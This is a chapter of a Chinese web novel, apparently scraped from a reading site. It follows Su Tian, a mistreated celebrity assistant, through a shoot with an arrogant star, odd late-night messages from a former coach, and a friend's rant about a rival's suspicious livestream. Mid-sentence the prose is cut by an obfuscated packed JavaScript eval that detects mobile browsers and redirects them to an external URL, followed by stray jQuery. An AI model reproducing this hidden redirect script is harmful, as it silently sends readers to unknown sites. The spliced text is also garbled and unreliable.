“快点，扣你绩效……”


    苏恬膝盖被磕得生疼，她右手手里拿着创口贴，左手本能地抚上膝盖，原本打算揉一揉的，谁知头顶上方王海涛的一句催促瞬间让她头皮发麻。


    “扣绩效？”


    这可是跟一个月后实际到手的工资有着莫大的关系，苏恬这可不能马虎了，苏恬力争道：“为什么要扣我钱？”


    “这有什么为什么的，你们助理的工作职责就是为你们服务的老师做好一切善后工作，做的不好或是老师们不满意，当然要扣工资了。你也就一助理，就是比小杨漂亮那也就是一助理，要知道，你们的工资可是从叶老师的提成和分红里抽成发给你的……”


    “还愣着干嘛，叶老师让你做什么你就什么，人家小杨能做，你个临时的就不能做了？那派你来干嘛？你还真没人家小杨有眼力见儿呢。哎呀，你叫的咖啡呢，都这个时候还没到，不行，等这两天忙完我非得去投诉你们助理部不行……”


    王海涛说的口沫横飞，话语中充斥着浓浓的鄙夷，却仍掩不住脸上紧绷的肌肉和夸张的神情所彰显出其内心的焦急。


    这种焦急完全可以称得上“心急如焚”，即便如此，这一大佬爷们儿宁肯絮絮叨叨花几分钟的时间磨嘴皮子说教，却不愿亲自上阵。


    反观此时的叶梦瑶，依旧是一副傲睨万物、至尊无上的姿态等着苏恬伺候。


    说好的时间宝贵呢？时间紧急呢？


    苏恬暗自“呵呵”了一声，时间对于已大红的明星来说，或许并不怎么重要。


    他们时间宝贵，你不迁就，有的是人迁就。


    苏恬不慌不忙地从裤兜里拿出手机，打开后捣鼓了几个，然后镜头对准叶梦瑶的脚后跟，就在按下拍摄键的前一秒，一只白皙的手挡住了镜头。


    “你做什么？”叶梦瑶问，声线冷冷，充满了警惕。


    苏恬花了一秒的时间建设好心理，快速整理好情绪，待她抬起头时，一脸的虔诚和满眼的担忧，开始胡诌：“叶老师，我刚进来的时候看到门口好些个站姐，您看您为艺术献身都伤成这样了，那些站姐只知道您光鲜亮丽的一面，哪知道您背后默默的付出，以及背负怎样的辛酸。我觉得吧，咱们很有必要把您这些发到超话里，让粉丝们知道明星也是人，是肉.体凡胎，不是金钢铁打的。”


    苏恬说着，把叶梦瑶的手拨开，一边把手机支架打开把手机放在地上调好位置，一边假意撕开创口贴要给叶梦瑶的脚后跟贴上，嘴上还不忘大声说：“乖乖哟，全红了呀，皮都快磨破了，叶老师都没叫一声疼呢，粉丝们看着一定会心疼的，到时说不定还能冲上文娱热搜，叶老师如此敬业！”


    看着大咧咧笑着脸还不忘竖起大拇指的苏恬，叶梦瑶脸都绿了，立马收回脚藏在椅子下面，就听苏恬又说：“叶老师，您可知道现在有些才出了点名气的爱豆，一点罪都受不了，一点苦都吃不得。咱把这发上去，敬业精神立马把那些流量爱豆给比下去了。”


    苏恬说这些话那可是一脸的诚挚和单纯，叶梦瑶一听到“文娱热搜”吓得魂都掉了一大半，哪里还顾得上苏恬说这些话是真是假，表面装得风轻云淡，她端庄得体地从苏恬手里抢过创口贴，依旧是傲慢地剐了一眼苏恬，教训道：“这点小事也值得你去超话上说？把手机给我关上。”


    说完，仅用了不到五秒钟就在双脚磨红的地方贴好了创口贴。


    “这不能说吗？我觉得这个题材不错呢。”苏恬越演越真。


    十米开外，摄影组、灯光组、服装组和美术设计组一二十个人都聚集在那儿，这些人只敢集体投来目光催人，却不好叫人过来催。


    这些王海涛全看在眼里，见叶梦瑶自己已贴好，也不好说什么，只得把气再一次撒到苏恬的身上。


    他把刚刚站直的苏恬一拨拉，不满的情绪再一次拉满：“公关这块不归你管，自己份内的事不好好做，一天到晚瞎操心，起开，别挡道。”


    一扭脸，态度180度大转变，对着叶梦瑶舔狗式的姿态说：“叶老师，过去吧，那边都等着呢。”


    看着叶梦瑶和王海涛离开的背影，苏恬纳闷了，这些人到底是素质低还是压根不把助理当人看？


    等收工的时候已经快晚上八点半了，苏恬跟着叶梦瑶一行人走到路边，保姆车恰巧这个时候开到叶梦瑶的身边，王海涛接过苏恬手里的大包小包驱逐道：“你回去吧。”


    “嘭！”


    一声响后，保姆车扬长而去。


    苏恬立在昏暗萧条的街道旁，这里没有公交站没有地铁站，共事了一个下午，至少让她搭个顺风车去车站也好吧。


    苏恬苦笑了一下，好在当年她没粉叶梦瑶，不然这会儿看清这么个人该多难过。


    等填饱了肚子回到程越的别墅，洗完澡洗完衣服，苏恬直接累趴在床上了。


    刚迷糊着，手机响了。


    收到一条信息。


    早上入职时苏恬填了宿舍床位申请，当时王丽梅说下午下班前应该能审批完，审批完后就可以拿钥匙了。苏恬下午出了外勤，睡前给王丽梅发了条信息，说明天一上班便去找她拿钥匙。


    本以为是王丽梅回复的消息，苏恬睁开乏的不行的眼皮，打开手机一看，竟是封朝。


    即便是备赛指导期间，封朝都没有这么晚联系过苏恬。


    况且是没来由的“睡了吗？注意保暖别受凉”一句话。


    封朝这人在苏恬面前一向挺高冷，对苏恬话也不多说，像这关心的话，哪怕带点虚情假意那也从来没有过。


    苏恬都呆了，愣神期间，封朝一连发了五六条无营养的信息。


    “晚饭吃了吗？要记得按时吃饭，年纪轻轻的别把胃搞坏了。”


    苏恬曾因胃疼想请体训假，那时封朝理都不理，安慰的话那更没有。


    “这几天在做什么？需要给你介绍夜场驻唱你说一声。”


    苏恬在备赛期间之所以辞去两份驻唱的工作，全是因为封朝反对，他不仅反对，还把驻唱说的一文不值。


    “前两天介绍你去面试的事别气馁，我手上还有一些这类资源。”


    封朝这一系列反常操作搞得苏恬很不适应，她困得不行，直接发了条信息过去：“封老师，这么晚了，有事不防直接说吧。”


    苏恬盯着手机屏幕，等着封朝回信，一等好几分钟过去了，对话框上方一直显示“对方正在输入”，却一条信息都没发过来。


    等着等着人就睡着了。


    第二天苏恬被闹钟叫醒后一下地，这才想起来昨晚因急着睡觉忘了给脚踝做急救，隐隐作痛。


    打开衣柜看着一柜子美美的通勤装，想想估计这些衣服以后上班是穿不成了，便挑了一身T恤牛仔裤出门了。


    程越昨晚没回来。


    听桃姐说是出差了，今晚回来。


    得赶在他回来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943475|157444||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前搬走。


    等苏恬坐上地铁这才看到封朝昨晚发来的消息。


    好家伙，一下子发了N条59秒的语音。


    看着这满屏长方形语音条，苏恬都懵了，这还是她认识的那个高冷少话的封朝吗？


    因为没有耳机，苏恬想着到了公司再慢慢听，刚从地铁站里出来手机在包包里不安分地唱开了。


    “烦死了，太讨厌了，我憋了一晚上了。她这人怎么这样，骂她吧，倒显得姐我格局小了，不骂吧，我实在气不过呀……”电话一接通，魏然狂躁的情绪从手机里不差一毫地传递过来，嘴里叽里呱啦一连骂了好几分钟气都不带换的。


    魏然这一点比较好，心里有什么不爽就会找人吐槽，用她自己的话说，把心烦的事说给别人听，她就不烦了。


    苏恬很愿意做这个倾听的人。


    只是……


    “等等……”苏恬忍不住打断，反问：“你骂来骂去骂的人不会是夏无霜吧？”


    “苏恬！”


    苏恬的一个问句，一下把魏然强压的怨捻子给点燃了，当即爆发，“我跟个老妈子似的在为你打抱不平，我意难平了一个晚上，做梦都在为你出气。本来一大早想开导开导你，结果，你倒好，人家夏无霜对你做的那些个糟心事一点都没影响到你。哎，好吧，算我多事，既然你不在意了那我也就放下吧。可那个绿茶直个播还要算计我家越神，这口气我真咽不下去。”


    “诶，我就好奇了，你还正不正常啊？要不是我没那个功能，我还真想从手机里蹦出去把你苏恬的脑袋瓜子掰开看看里面还是不是人脑了。”


    魏然是个大大咧咧的性子，像今天这么激动，苏恬是第二次见。


    第一次是她和魏然参加同一场比赛，两人被淘汰后魏然也不知道从哪听说她被淘汰是因为黑幕，气得一连骂了好几天。


    黑幕，有商业利益捆绑，这个就杜绝不了，想明白这一点后，魏然放弃了幻想了五六年的梦想。


    被骂的苏恬也不生气，笑了笑，让魏然分心，她问：“夏无霜怎么惹你家越神了？”


    “哎呀，”估计魏然把倾尽一生的脏话骂完了，心情舒畅了些，这会儿慢条斯理装样子，磨磨唧唧地说：“指望你自发性关注实时热搜是不可能的了，算了，我索性大发慈悲告诉你吧，昨天夏无霜开播的时间是12点2分58秒，这个12点你可以想成0或是忽略掉，直播时长是24分0秒，这数字，你品，你细细品！”


    魏然话毕，还骂了一句经典国粹。


    “2分58秒，258；24分0秒，240。”苏恬小声重复，上大学那会儿，她有个室友是个恋爱脑，一天到晚除了吃饭睡觉上课外就是钻研浪漫情趣，这些数字的寓意她听多了也知道些。


    但，这么明目张胆玩梗，夏无霜身后的团队是嫌日子太清闲了吗？


    苏恬一脸困惑，带有一丝期许地嘟囔：“这，凑巧吧？”


    那日在地下停车场苏恬、程越和夏无霜三人的恩怨魏然可是一清二楚的，魏然本人是个爱逛明星超话的，人又比较八卦，她稍微动动脑子就全想明白了。


    魏然冷哼一声说：“起初我也跟你一样，可你知道怎么着，昨晚在热搜第一屏挂了不短的时间，今早出鬼了，连词条都搜不到了。”


    这翻操作，再明显不过了，定是被人为的删了。


    这说明，删词条的人也品出那味儿来了。